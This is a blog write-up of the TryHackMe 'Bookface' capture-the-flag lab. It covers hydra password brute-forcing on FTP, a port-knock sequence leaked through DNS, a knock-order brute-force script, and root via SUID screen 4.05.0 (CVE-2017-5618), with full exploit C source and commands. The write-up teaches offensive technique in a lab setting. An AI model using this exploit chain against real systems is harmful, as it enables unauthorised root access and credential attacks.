Skip to content
Bookface

Bookface

February 10, 2020

Bookface cover: a door with knock waves and the port sequence

Bookface is a small TryHackMe box with a lot of open ports and very few honest ones. It chains a weak FTP password, a DNS record that leaks a port-knock sequence, and a classic SUID screen bug. Four flags, one fun puzzle in the middle.

⚡
TL;DR: Brute-force jerry on FTP with hydra, pull the knock ports from a DNS TXT record for bookface.com, brute-force the knock order to open SSH, then abuse SUID screen-4.05.0 (CVE-2017-5618) to get root.

Bookface attack path: FTP, DNS TXT, port knocking, SSH, root via screen

Background reading

These tools and bugs all show up in this CTF, so it’s worth skimming them first:

Recon

As usual, I started with nmap.

nmap -F --top-ports 10 -sV 10.10.219.90
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-10 16:37 CET
...
Nmap scan report for 10.10.219.90
Host is up (0.38s latency).

PORT     STATE  SERVICE        VERSION
21/tcp   open   ftp            vsftpd 2.0.8 or later
22/tcp   closed ssh
23/tcp   open   telnet?
25/tcp   open   smtp?
80/tcp   open   http?
110/tcp  open   pop3?
139/tcp  open   netbios-ssn?
443/tcp  open   https?
445/tcp  open   microsoft-ds?
3389/tcp open   ms-wbt-server?

Lots of “open” ports, but only FTP gave back a real banner: vsftpd 2.0.8 or later. SSH is closed, which will matter later.

FTP: flag 1

The room description gives away the developer’s name, Jerry. That’s a username, so I pointed hydra at FTP with rockyou.

$ hydra -ljerry -P /usr/share/dict/rockyou.txt ftp://10.10.219.90 -t 16  -vV
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-10 16:28:50
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344409 login tries (l:1/p:14344409), ~896526 tries per task
[DATA] attacking ftp://10.10.219.90:21/
[ATTEMPT] target 10.10.219.90 - login "jerry" - pass "" - 1 of 14344409 [child 0] (0/0)
[ATTEMPT] target 10.10.219.90 - login "jerry" - pass "     " - 2 of 14344409 [child 1] (0/0)
...
[ATTEMPT] target 10.10.219.90 - login "jerry" - pass "prumpy" - 1 of 1 [child 0] (0/0)
[21][ftp] host: 10.10.219.90   login: jerry   password: prumpy
[STATUS] attack finished for 10.10.219.90 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-10 16:28:01

Many hours later
Many hours later

And voilà, the password is prumpy. Time to log in as jerry:prumpy and see what’s inside.

$ ftp 10.10.219.90
Connected to 10.10.219.90.
220 TryHackMe Networking CTF!
Name (10.10.219.90:burso): jerry
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> passive
Passive mode on.
ftp> ls
227 Entering Passive Mode (10,10,219,90,89,219).
150 Here comes the directory listing.
-rwxr-xr-x    1 0        0              33 Feb 23  2019 flag1
-rw-rw-r--    1 1001     1001          141 Feb 23  2019 note
226 Directory send OK.
ftp> get flag1
...
226 Transfer complete.
ftp> get note
...
226 Transfer complete.

Two files: the first flag and a note.

$ cat flag1
79eb173ecb02d12d6d4832881be2cf23
  • FLAG1: 79eb173ecb02d12d6d4832881be2cf23
$ cat note
Jerry, I finally got a chance to update our internal social media platform (bookface.com).

Can you signup and like my doggo photos?

Thanks

DNS: flag 2 and the knock ports

The note mentions a domain, bookface.com. I tried a few DNS record types against the box and the TXT record was the jackpot: a flag plus a list of ports.

host -t txt bookface.com 10.10.219.90
Using domain server:
Name: 10.10.219.90
Address: 10.10.219.90#53
Aliases:

bookface.com descriptive text "Ports: 6786 9893 8748 3443 - Who cares about order tho right?"
bookface.com descriptive text "Flag2:a17f17ba86d8271da60ed8436667f412"
  • FLAG2: a17f17ba86d8271da60ed8436667f412
🚪
Port knocking keeps a port (here SSH) closed until a client hits a secret sequence of ports in the right order. It’s security by obscurity: the sequence travels in plain text, and here it was published in DNS.

Port knocking: brute-forcing the order

“Who cares about order tho right?” Well, port knocking does. So I wrote a quick script that tries the combinations, knocks, and checks whether port 22 opened.

port-knocking-enumeration.sh:

#!/bin/bash

porta=(8748 3443 6786 9893)
portb=(6786 9893 8748 3443)
portc=(9893 8748 3443 6786)
portd=(3443 6786 9893 8748)
ip="10.10.213.66"

for a in ${porta[@]}; do
        for b in ${portb[@]}; do
                for c in ${portc[@]}; do
                        for d in ${portd[@]}; do
                                echo "$a $b $c $d"
                                knock $ip $a $b $c $d && nmap -p 22 $ip 2>&1 | grep "open" && echo "[SUCCESS!!] $a $b $c $d" && exit
                                sleep 1
                        done
                done
        done
done
⏱️
The sleep 1 matters. Knock daemons track sequences per source IP with a timeout, so firing attempts back to back can mix up two sequences and give you false negatives.

Let’s brute-force it:

Full script output
$ ./port-knocking-enumeration.sh
8748 6786 9893 3443
8748 6786 9893 6786
8748 6786 9893 9893
8748 6786 9893 8748
8748 6786 8748 3443
8748 6786 8748 6786
8748 6786 8748 9893
8748 6786 8748 8748
8748 6786 3443 3443
8748 6786 3443 6786
8748 6786 3443 9893
8748 6786 3443 8748
8748 6786 6786 3443
8748 6786 6786 6786
8748 6786 6786 9893
8748 6786 6786 8748
8748 9893 9893 3443
8748 9893 9893 6786
8748 9893 9893 9893
8748 9893 9893 8748
8748 9893 8748 3443
8748 9893 8748 6786
8748 9893 8748 9893
8748 9893 8748 8748
8748 9893 3443 3443
8748 9893 3443 6786
8748 9893 3443 9893
8748 9893 3443 8748
8748 9893 6786 3443
22/tcp open  ssh
[SUCCESS!!] 8748 9893 6786 3443
...
8748 9893 6786 3443
22/tcp open  ssh
[SUCCESS!!] 8748 9893 6786 3443

The right order is 8748 9893 6786 3443. A quick check confirms SSH is now reachable:

$ knock 10.10.213.66 8748 9893 6786 3443 && nmap -sV -p22 10.10.213.66
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-10 19:55 CET
Nmap scan report for 10.10.213.66
Host is up (0.11s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...

(The IP changes between snippets because the machine was restarted along the way.)

SSH: flag 3

The SSH password is the same as on FTP, of course ;)

$ knock 10.10.213.66 8748 9893 6786 3443 && ssh jerry@10.10.213.66
jerry@10.10.213.66's password:
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-1072-aws x86_64)
...
Last login: Sat Feb 23 22:17:39 2019 from 10.0.0.20
jerry@ip-10-10-213-66:~$

We’re in. Next flag:

jerry@ip-10-10-213-66:/home$ find / -name "flag3" 2>/dev/null
/home/flag3
jerry@ip-10-10-213-66:/home$ cat /home/flag3
dd059316033c59f00057e5552140f831
  • FLAG3: dd059316033c59f00057e5552140f831

Privilege escalation: flag 4

The last flag needs root. A good first move is listing binaries with the setuid bit set:

jerry@ip-10-10-140-162:/etc$ find / -perm -u=s -type f 2>/dev/null
/snap/core/5742/bin/mount
/snap/core/5742/bin/ping
/snap/core/5742/bin/ping6
/snap/core/5742/bin/su
/snap/core/5742/bin/umount
/snap/core/5742/usr/bin/chfn
/snap/core/5742/usr/bin/chsh
/snap/core/5742/usr/bin/gpasswd
/snap/core/5742/usr/bin/newgrp
...
/bin/umount
/bin/fusermount
/bin/ntfs-3g
/bin/ping
/bin/su
/bin/ping6
/bin/screen-4.5.0/screen-4.05.0
/bin/mount

Only screen has a version number in its file name, which is a big hint.

CVE-2017-5618

🔑
screen 4.05.0 running SUID root lets you create its log file (-L) anywhere, with root ownership. Write /etc/ld.so.preload, point it at your own shared library, and the next SUID binary you run loads your code as root.

When hunting for public exploits, stick to trusted sources so you get an exploit and not malware. Exploit-DB from Offensive Security is my go-to, and it has one for this.

The exploit builds two things: a library whose constructor makes /tmp/rootshell SUID root, and the root shell itself. Then screen writes the library path into /etc/ld.so.preload.

$ cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/rootshell", 0, 0);
    chmod("/tmp/rootshell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}
EOF

$ gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
$ ls /tmp/
$ cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}
EOF

$ gcc -o /tmp/rootshell /tmp/rootshell.c
$ cd /etc/
$ umask 000
$ screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
$ /bin/screen-4.5.0/screen-4.05.0 -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"
$ /tmp/rootshell

Root! Grab the last flag:

# cat /root/flag4
6b873b86b1f3eb170554af54fddb8267
  • FLAG4: 6b873b86b1f3eb170554af54fddb8267

Wrap-up

  • Reused, guessable passwords (jerry on FTP and SSH) were the root of the whole chain.
  • Port knocking is obscurity, not security, especially when the sequence sits in a public DNS record.
  • Always check SUID binaries for odd names and versions; screen-4.05.0 is a well-known root.
  • Get public exploits from trusted sources like Exploit-DB and read them before running.

I hope you enjoyed the game and learned something new. Bye ;)

Last updated on